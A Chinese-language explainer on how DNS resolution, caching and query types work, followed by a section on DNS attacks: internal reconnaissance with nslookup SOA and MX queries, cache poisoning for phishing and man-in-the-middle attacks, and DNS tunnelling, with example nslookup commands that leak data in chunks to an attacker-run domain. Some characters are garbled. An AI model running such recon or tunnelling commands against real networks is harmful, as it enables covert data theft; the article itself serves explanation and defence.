基于IP協(xié)議，兩臺計算機之間要實現(xiàn)通信有一個前提，就是它們分別有一個IP地址。由于我們大多數(shù)人都善于記住www.taobao.com之類的字串，而非一串如104.196.44.101一般毫無規(guī)律的IP地址數(shù)字組合，因此，需要一個程序?qū)⒚�稱字串翻譯成IP地址。

在互聯(lián)網(wǎng)上儲存域名與IP地址間映射關(guān)系的一個分布式數(shù)據(jù)庫，能夠?qū)⒚�稱轉(zhuǎn)換為數(shù)字、數(shù)字轉(zhuǎn)換為名稱的程序就被稱為DNS(Domain Name System，域名系統(tǒng))，運行DNS系統(tǒng)的主機就是“DNS服務(wù)器”。如果沒有DNS，任何互聯(lián)網(wǎng)訪問就都需要我們記住12個數(shù)字——服務(wù)器的IP地址。

一、DNS工作原理

作為互聯(lián)網(wǎng)訪問中不可或缺的一項技術(shù)，了解DNS的運作機理非常重要。

DNS中的域名-IP映射條目被稱為“DNS記錄”。互聯(lián)網(wǎng)上需要實現(xiàn)通信的計算機數(shù)量過于龐大，將所有DNS記錄都記錄在一個記錄集里，由單臺DNS服務(wù)器進行存儲處理是不切實際的。因此，在DNS體系的設(shè)計中，全球的DNS被分成了多個小記錄集，這些記錄集被稱為“域”(Domain)。一個域包含的記錄數(shù)量仍有可能非常大，因此，域還可以被劃分為更小的子集——“區(qū)”(Zone)。

因此，互聯(lián)網(wǎng)上所有的域名-IP映射條目是由許多DNS服務(wù)器共同存儲的。任何要根據(jù)域名查詢IP或根據(jù)IP查詢域名的計算機，都可以向其DNS服務(wù)器發(fā)起查詢，并且DNS服務(wù)器還知道如何在多臺DNS服務(wù)器之間發(fā)起查詢。當DNS服務(wù)器查詢其他DNS服務(wù)器時，我們稱之為“上游”查詢。域查詢可以不停的向上執(zhí)行，直至權(quán)限域名服務(wù)器。

權(quán)限域名服務(wù)器是管理員對其所管轄域的服務(wù)器名和IP地址進行管理的地方。當DNS管理員想要對服務(wù)器名或IP地址實施增刪改查時，就會在權(quán)限域名服務(wù)器(也稱“主DNS服務(wù)器”)上進行操作。另外，還有“從DNS服務(wù)器”，用于保存區(qū)或域的DNS記錄副本。

1. 加載頁面用到的四個DNS服務(wù)器

• 域名解析服務(wù)器(Resolving name server)：自身存有被查詢的IP-域名條目或向另一個DNS服務(wù)器請求該IP-域名條目，并響應(yīng)此次查詢的服務(wù)器。
• 根域名服務(wù)器(Root name server)：根區(qū)的域名服務(wù)器。它直接響應(yīng)查詢請求，并返回相應(yīng)的頂級域權(quán)限域名服務(wù)器列表。
• 頂級域名服務(wù)器(TLD name Server)：頂級域名服務(wù)器(TLD)是Internet上的高級DNS服務(wù)器之一。當搜索www.qq.com時，“.com”TLD服務(wù)器將首先響應(yīng)，在其條目中搜索“qq”字串。
• 權(quán)限域名服務(wù)器(Authoritative name server)：權(quán)限域名服務(wù)器是DNS查詢流程中的最后一站，其存儲有某個區(qū)的域名條目記錄。

2. DNS服務(wù)的類型

根據(jù)其處理DNS查詢的技術(shù)機理不同，DNS服務(wù)被分為兩種類型：

• 遞歸DNS服務(wù)：遞歸DNS服務(wù)響應(yīng)DNS查詢并向權(quán)限域名服務(wù)發(fā)起域名條目查詢，或在其緩存的DNS條目中實施查詢。
• 權(quán)限D(zhuǎn)NS服務(wù)：權(quán)限D(zhuǎn)NS服務(wù)自身存儲DNS條目。因此，如果向權(quán)限D(zhuǎn)NS服務(wù)查詢其存儲的某個IP-域名條目，則無需再向其他服務(wù)器發(fā)起查詢。

3. 公共DNS & 私有DNS

對于需要被公眾在互聯(lián)網(wǎng)上訪問的服務(wù)器，它需要具有公共DNS記錄，并且其IP地址在互聯(lián)網(wǎng)上可訪問，即不會被防火墻等訪問控制技術(shù)所阻止。任何能夠連接到公共DNS服務(wù)器的人都可以在且無需身份驗證的情況下訪問公共DNS服務(wù)器。

但是，并非所有的DNS記錄都是公開的，為了使員工能夠方便地訪問企業(yè)內(nèi)網(wǎng)的服務(wù)器，不少企業(yè)都有自身的私有DNS。私有DNS被用于存放不希望公開到互聯(lián)網(wǎng)上的企業(yè)內(nèi)部文件服務(wù)器、郵件服務(wù)器、域控制器、數(shù)據(jù)庫服務(wù)器、應(yīng)用程序服務(wù)器等的域名和IP。

有一點需要注意的是，私有DNS服務(wù)器和公共DNS服務(wù)器一樣，對其的訪問無需進行身份驗證。這主要是因為在DNS技術(shù)創(chuàng)建之初，安全性還不是一個需要考慮的技術(shù)問題。因此，大多數(shù)情況下，企業(yè)內(nèi)部網(wǎng)絡(luò)中的任何用戶都可以在未做身份認證的情況下查詢內(nèi)部DNS服務(wù)器存儲的信息。

二、查詢DNS的七個步驟

(1)當用戶試圖訪問Internet上的計算機，例如，在瀏覽器地址欄中輸入m.51huadong.com時，就將啟動一次DNS查詢。

(2)DNS查詢的第一站是本地DNS緩存。在用戶訪問網(wǎng)絡(luò)上不同的域名時，這些域名對應(yīng)的IP地址就將存儲在本地緩存中，如果用戶之前訪問過m.51huadong.com，則緩存中就會存有該網(wǎng)站的IP地址。

(3)如果本地DNS緩存中沒有該域名的IP，DNS就會用遞歸DNS服務(wù)器進行檢查。在互聯(lián)網(wǎng)上，ISP服務(wù)商通常會建設(shè)和運維遞歸DNS服務(wù)器。

(4)遞歸DNS服務(wù)器自身具備緩存，如果在其緩存中存有用戶查詢的IP地址，則會將其直接返回給用戶。如果沒有，將向其它DNS服務(wù)器發(fā)起查詢。

(5)下一站是TLD域名服務(wù)器，當用戶查詢域名 m.51huadong.com時，存儲.cn地址的TLD域名服務(wù)器會響應(yīng)查詢請求。該服務(wù)器并不存儲我們需要的IP地址，但它能夠向正確的權(quán)限域名服務(wù)器轉(zhuǎn)發(fā)查詢請求。

(6)權(quán)限域名服務(wù)器用 m.51huadong.com的IP地址響應(yīng)此次查詢，遞歸DNS服務(wù)器將其存儲在本地DNS緩存中，并將地址返回給用戶的計算機。

(7)用戶計算機的本地DNS服務(wù)獲取m.51huadong.com的IP地址并實施訪問。然后，在本地緩存中記錄該域名的IP地址，同時記錄其生存時間(TTL)，即本地DNS記錄的有效時間，若用戶下次訪問該域名的時間超過TTL時間，則下次訪問m.51huadong.com時，DNS將再次執(zhí)行上述過程。

三、DNS查詢的分類

DNS查詢需要給DNS服務(wù)器傳遞的信息包括：

• 當前查詢是什么類型;
• 要返回什么信息。

標準的DNS查詢有以下三種類型：

• 遞歸查詢：在遞歸查詢中，計算機請求DNS服務(wù)器返回一個IP地址，或確認該DNS服務(wù)器不知道該IP。
• 迭代查詢：在迭代查詢中，查詢者向DNS服務(wù)器請求返回一個最佳答案。如果DNS服務(wù)器中查不到被查詢IP，它將返回權(quán)限域名服務(wù)器或TLD域名服務(wù)器。查詢者將繼續(xù)此迭代過程，直到找到被查詢IP或超時。
• 非遞歸查詢：DNS解析服務(wù)器使用此類查詢來查找自身緩存中沒有存儲的IP。

四、DNS緩存

如果每次有任何用戶試圖訪問m.51huadong.com，都必須向權(quán)限域名服務(wù)器發(fā)起對該域名的查詢請求，將會產(chǎn)生大量的網(wǎng)絡(luò)流量!因此，為了使計算機不用在每一次訪問某個域名時都向DNS服務(wù)器發(fā)起IP查詢請求，計算機上通常會存儲一個自身的域名-IP映射庫，這個映射庫被稱為“DNS緩存”。

• 加快DNS請求響應(yīng)速度
• 減少DNS請求在互聯(lián)網(wǎng)上占用的帶寬

但是，DNS緩存方法也存在一些問題，包括：

• DNS信息的變化需要一定的時間才能傳播開——這意味著，所有DNS服務(wù)器都將其緩存更新為最新的IP數(shù)據(jù)之前，往往需要一段時間
• 攻擊者可能利用DNS緩存發(fā)起攻擊

DNS緩存有以下幾種不同的類型：

• 瀏覽器DNS緩存：目前大多數(shù)瀏覽器均內(nèi)置了DNS緩存功能，使用本地緩存方式實現(xiàn)DNS解析通�？焖偾腋咝�。
• 操作系統(tǒng)(OS)DNS緩存：目前，大多數(shù)用戶計算機操作系統(tǒng)均具備DNS客戶端，可用于管理DNS解析和請求。此類DNS緩存也是本地化的，因此速度快且無需占用帶寬。
• 遞歸解析DNS緩存：每個DNS遞歸服務(wù)器中都有DNS緩存，用于存儲可向其發(fā)起下一步請求的IP。

五、DNS常見漏洞

• 用戶內(nèi)部DNS服務(wù)器會存儲用戶網(wǎng)絡(luò)域中所有服務(wù)器的內(nèi)部域名與IP，并能夠在無需身份認證的情況下實施訪問。這使得DNS成為攻擊者在內(nèi)網(wǎng)探測階段的重要信息來源。
• DNS緩存信息并非一定與權(quán)限域名服務(wù)器一致，攻擊者有可能篡改DNS緩存，如果用戶內(nèi)網(wǎng)的DNS服務(wù)器被攻擊篡改，則使用該DNS服務(wù)器發(fā)起域名訪問的計算機就會被誘騙到錯誤的服務(wù)器。
• DNS服務(wù)器可能將內(nèi)網(wǎng)的域名查詢從內(nèi)網(wǎng)工作站遞歸轉(zhuǎn)發(fā)至外網(wǎng)服務(wù)器，攻擊者可能利用此行為創(chuàng)建內(nèi)外網(wǎng)之間的“隱通道”來泄露內(nèi)網(wǎng)數(shù)據(jù)。

1. 利用DNS實施探測

一旦攻擊者穿透防火墻進入用戶內(nèi)網(wǎng)并控制某臺計算機，就可以利用內(nèi)網(wǎng)的DNS服務(wù)查找重要的服務(wù)器信息，如郵件服務(wù)器、域名服務(wù)器等各類有價值的信息。如果攻擊者具備足夠的技術(shù)能力，甚至可能利用內(nèi)部DNS服務(wù)器批量發(fā)送用戶網(wǎng)絡(luò)中區(qū)的信息，此類攻擊被稱為“DNS區(qū)傳輸攻擊”。

以下給出了在Windows操作系統(tǒng)環(huán)境中實現(xiàn)該攻擊的流程：

• 打開命令提示符(ctrl+ esc ➡️輸入字母“cmd” ➡️回車)
• 輸入“ipconfig”，將看到當前計算機所在的域名、IP地址以及許多其他信息(后續(xù)命令中將會使用)
• 鍵入“nslookup[IP]”，將看到正在響應(yīng)請求的DNS服務(wù)器名稱，如果名稱已知，則會顯示列出名稱和IP地址的DNS記錄
• 鍵入“nslookup-type=soa [當前計算機所在域名]”， 執(zhí)行此命令將返回當前計算機的權(quán)限D(zhuǎn)NS服務(wù)器，如果您嘗試滲透網(wǎng)絡(luò)，則不會很方便。
• 鍵入“nslookup-type=MX [當前計算機所在域名]”，通過執(zhí)行該命令，攻擊者可以準確獲知網(wǎng)內(nèi)郵件服務(wù)器的IP信息。

2. 利用DNS實施流量重定向

當用戶嘗試瀏覽到某個網(wǎng)站時，他們的計算機會在DNS服務(wù)器中查詢該網(wǎng)站的IP。如果DNS服務(wù)器中存有該記錄的緩存，則將直接返回該IP。如果沒有，它會查詢“上游”DNS服務(wù)器，并將結(jié)果中繼給最終用戶，同時緩存該信息以供下次使用。

在目前已知的攻擊中，攻擊者已經(jīng)能夠偽造DNS響應(yīng)信息，使其看起來像是來自合法的DNS服務(wù)器。要達到這一目標，攻擊者可以利用DNS的三個弱點：

• DNS對來自上游服務(wù)器的響應(yīng)僅執(zhí)行非常弱的認證。響應(yīng)信息只需包含正確的事務(wù)ID(一個16位二進制數(shù)字(0-65536))。事實證明，要猜出正確的事務(wù)ID，技術(shù)難度并不大。
• DNS服務(wù)器接受同時響應(yīng)多個查詢請求，因此攻擊者能夠同時對事務(wù)ID實施多次猜測(與暴力破解密碼思路類似)。
• DNS使用的IP連接很容易被偽造。這意味著攻擊者可以從一臺計算機向DNS服務(wù)器發(fā)送流量，使其看起來像來自另一臺計算機，例如另一臺真實有效的DNS服務(wù)器。容易被偽造的IP連接類型并不多，不幸的是，DNS恰好是其中之一。

一旦攻擊者成功偽造了DNS響應(yīng)消息，則其可以實現(xiàn)篡改接收端DNS服務(wù)器的緩存。以下就以一個典型的場景說明這一攻擊行為可能造成的嚴重后果：

假設(shè)攻擊者了解到用戶單位使用外部應(yīng)用程序來處理經(jīng)費等重要事務(wù)。如果攻擊者篡改了用戶單位DNS服務(wù)器的相關(guān)記錄，則能夠?qū)⒂脩粽T騙至攻擊者偽造的服務(wù)器，誘騙用戶在攻擊者偽造的登陸頁面上錄入其賬號及口令信息。

更有耐心的攻擊者還可能將真實流量轉(zhuǎn)發(fā)給真實的服務(wù)器(充當“中間人”)，因此用戶就不會發(fā)現(xiàn)攻擊正在發(fā)生。獲取用戶的身份信息后，攻擊者可以在其他相關(guān)系統(tǒng)上嘗試使用這些身份信息，或者直接出售這些信息。

3. 利用DNS構(gòu)建隱通道

假設(shè)攻擊者已經(jīng)設(shè)法進入了用戶單位網(wǎng)絡(luò)，控制了一臺內(nèi)網(wǎng)計算機，并且已經(jīng)找到了其想要竊取的關(guān)鍵數(shù)據(jù)。如何在不留任何痕跡的情況下將數(shù)據(jù)傳輸?shù)骄W(wǎng)外?攻擊者可能使用一種被稱為“DNS隧道”的技術(shù)來實現(xiàn)。通常的做法如下：

(1)攻擊者在互聯(lián)網(wǎng)上設(shè)置一個DNS域(如idcbest.com)，并創(chuàng)建一個權(quán)限域名服務(wù)器

(2)在被攻擊者控制的主機上，攻擊者可以將數(shù)據(jù)分解為小段并將其插入到一系列DNS查詢中，如下所示：

• nslookup My1secret1.idcbest.com
• nslookup is1that1I1know.idcbest.com
• nsllookup your1data.idcbest.com

(3)用戶單位的DNS服務(wù)器將接收這些請求，并將這些請求轉(zhuǎn)發(fā)回idcbest.com的權(quán)限域名服務(wù)器。攻擊者在其權(quán)限域名服務(wù)器接收到上述流量后，則可以運行程序以提取查詢信息的第一部分(.idcbest.com前的內(nèi)容)并將其重新組合，從而將用戶網(wǎng)內(nèi)的數(shù)據(jù)不留痕跡地傳輸?shù)骄W(wǎng)外(此例中傳輸?shù)臄?shù)據(jù)是“My secret is that I know your data.”)。而用戶單位可能永遠不會意識到他們的DNS服務(wù)器被用于泄露自身的數(shù)據(jù)。

六、小結(jié)

DNS技術(shù)已存在了很長時間，互聯(lián)網(wǎng)上的每臺計算機都依賴它。然而，利用DNS進行內(nèi)網(wǎng)探測、劫持流量并創(chuàng)建隱蔽信道竊取數(shù)據(jù)，都是DNS服務(wù)可能造成的安全問題。幸運的是，通過監(jiān)控DNS服務(wù)器并應(yīng)用安全數(shù)據(jù)分析，目前已有大量技術(shù)可以檢測并阻止這些攻擊。

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